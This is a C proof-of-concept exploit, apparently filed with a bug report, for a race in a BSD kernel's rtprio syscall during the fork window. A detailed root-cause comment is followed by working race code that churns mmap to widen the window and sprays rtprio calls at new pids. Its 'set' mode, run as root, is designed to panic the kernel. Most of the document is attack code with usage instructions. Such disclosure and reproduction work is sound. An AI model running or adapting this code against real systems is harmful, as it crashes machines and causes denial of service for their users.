/*
 * DF-2791 PoC — sys_rtprio() missing FIRST_LWP_IN_PROC(p) NULL check
 * (sys/kern/kern_resource.c:704).
 *
 * Root cause:
 *   A process inside its fork (SIDL) window — after proc_add_allproc()
 *   (sys/kern/kern_fork.c:491) and before the first lwp is inserted
 *   into p_lwp_tree (sys/kern/kern_fork.c:848, inside lwp_fork2) — is
 *   visible to pfind(), which only skips SZOMB procs
 *   (sys/kern/kern_proc.c:524). During that window sys_rtprio()
 *   evaluates FIRST_LWP_IN_PROC(p) == NULL and, with no NULL check:
 *
 *     RTP_LOOKUP (kern_resource.c:707): copyout(&lp->lwp_rtprio, ...)
 *        -> kernel read from &((struct lwp *)0)->lwp_rtprio (~0x1xx).
 *           copyout runs under pcb_onfault so the fault is converted
 *           to EFAULT (sys/platform/pc64/x86_64/trap.c:985-995).
 *
 *     RTP_SET (kern_resource.c:748): lp->lwp_rtprio = rtp;
 *        -> a RAW kernel-mode WRITE to ~0x1xx with pcb_onfault == NULL
 *           -> "Fatal user address access from kernel mode"
 *              -> trap_fatal() -> PANIC
 *           (privileged only; unpriv is stopped earlier at
 *            kern_resource.c:718-723, hence severity Low).
 *
 *   fork1 holds p2->p_token across the window, but LWKT drops ALL of a
 *   thread's tokens whenever it deschedules (lwkt_relalltokens,
 *   sys/kern/lwkt_token.c:539-558). The window contains vm_fork(), and
 *   vmspace_fork() must acquire the parent's vm_map token; a sibling
 *   thread churning mmap/munmap on the same address space makes the
 *   forking thread BLOCK on that token mid-window, dropping p2->p_token
 *   for the duration. Another CPU's rtprio() then acquires p->p_token,
 *   sees the still-empty lwp tree, and dereferences NULL.
 *
 * Usage:
 *   ./rtprio_sidl lookup       # unpriv race -> EFAULT (NULL deref seen)
 *   ./rtprio_sidl set          # (root) same race with RTP_SET -> panic
 *
 * "lookup" success: >=1 rtprio(RTP_LOOKUP) == -1/EFAULT with a valid
 * user pointer (can only come from the NULL-source kernel read).
 * "set" success: kernel panic "Fatal user address access from kernel
 * mode" on the serial console.
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/rtprio.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <signal.h>

struct ring {
	volatile int frontier;	/* last completed child pid from forker */
	volatile int stop;
};

static struct ring *ring;

#define NENTRIES 20000		/* vm_map entries to widen vm_fork() */
#define SPRAY_AHEAD 3		/* pids ahead of frontier to spray    */

static void
make_entries(void)
{
	unsigned long base = 0x100000000UL;
	size_t i;

	for (i = 0; i < NENTRIES; i++) {
		void *p = mmap((void *)(base + i * 0x2000UL), 0x1000,
			       PROT_READ | PROT_WRITE,
			       MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
		if (p == MAP_FAILED)
			break;
	}
}

static void
reap(void)
{
	while (waitpid(-1, NULL, WNOHANG) > 0)
		;
}

/*
 * Sibling thread: churn the parent's vm_map so that vm_fork()'s
 * vm_map-token acquisition inside the fork window blocks.
 */
static void *
churn(void *arg __unused)
{
	for (;;) {
		void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			       MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p != MAP_FAILED)
			munmap(p, 0x1000);
		else
			usleep(100);
	}
	return (NULL);
}

static void
forker(void)
{
	pthread_t tid;
	int pid;

	make_entries();
	pthread_create(&tid, NULL, churn, NULL);
	while (!ring->stop) {
		pid = fork();
		if (pid == 0)
			_exit(0);	/* child: die immediately */
		if (pid < 0) {
			if (errno == EAGAIN) {
				reap();
				usleep(200);
				continue;
			}
			fprintf(stderr, "fork: %s\n", strerror(errno));
			break;
		}
		ring->frontier = pid;
		reap();
	}
	ring->stop = 1;
	_exit(0);
}

int
main(int argc, char **argv)
{
	struct rtprio rt;
	int mode_set = 0;
	int efault = 0, esrch = 0, ok = 0, other = 0, eperm = 0;
	time_t t0, t_now;
	int pid;
	long n;
	int budget = 120;

	if (argc < 2) {
		fprintf(stderr, "usage: %s lookup|set\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "set"))
		mode_set = 1;

	ring = mmap(NULL, sizeof(*ring), PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_SHARED, -1, 0);
	if (ring == MAP_FAILED) {
		perror("mmap ring");
		return 1;
	}
	ring->frontier = 0;
	ring->stop = 0;

	pid = fork();
	if (pid == 0)
		forker();
	/* parent = sprayer */

	memset(&rt, 0, sizeof(rt));
	rt.type = RTP_PRIO_NORMAL;
	rt.prio = 0;

	t0 = time(NULL);
	n = 0;
	while (!ring->stop) {
		int base = ring->frontier;
		int d, r;

		if (base == 0)
			continue;
		for (d = 1; d <= SPRAY_AHEAD; d++) {
			if (mode_set)
				r = syscall(166, RTP_SET, base + d, &rt);
			else
				r = syscall(166, RTP_LOOKUP, base + d, &rt);
			n++;
			if (r == 0)
				ok++;
			else if (errno == EFAULT) {
				efault++;
				if (!mode_set)
					fprintf(stderr,
					    "[hit] pid %d EFAULT after %ld "
					    "syscalls (NULL lwp deref inside "
					    "copyout)\n", base + d, n);
			} else if (errno == ESRCH)
				esrch++;
			else if (errno == EPERM)
				eperm++;
			else
				other++;
		}
		if (!mode_set && efault >= 3)
			break;
		t_now = time(NULL);
		if (t_now - t0 > budget) {
			fprintf(stderr, "sprayer: timeout\n");
			break;
		}
	}
	ring->stop = 1;
	kill(pid, SIGKILL);
	waitpid(pid, NULL, 0);
	reap();

	printf("mode=%s syscalls=%ld ok=%d EFAULT=%d ESRCH=%d EPERM=%d "
	       "other=%d\n",
	       mode_set ? "set" : "lookup", n, ok, efault, esrch, eperm,
	       other);
	if (!mode_set) {
		if (efault > 0) {
			printf("REPRODUCED: rtprio(RTP_LOOKUP) hit the SIDL "
			       "zero-lwp window (EFAULT from NULL-source "
			       "read)\n");
			return 0;
		}
		printf("NOT reproduced within budget\n");
		return 1;
	}
	return 0;
}
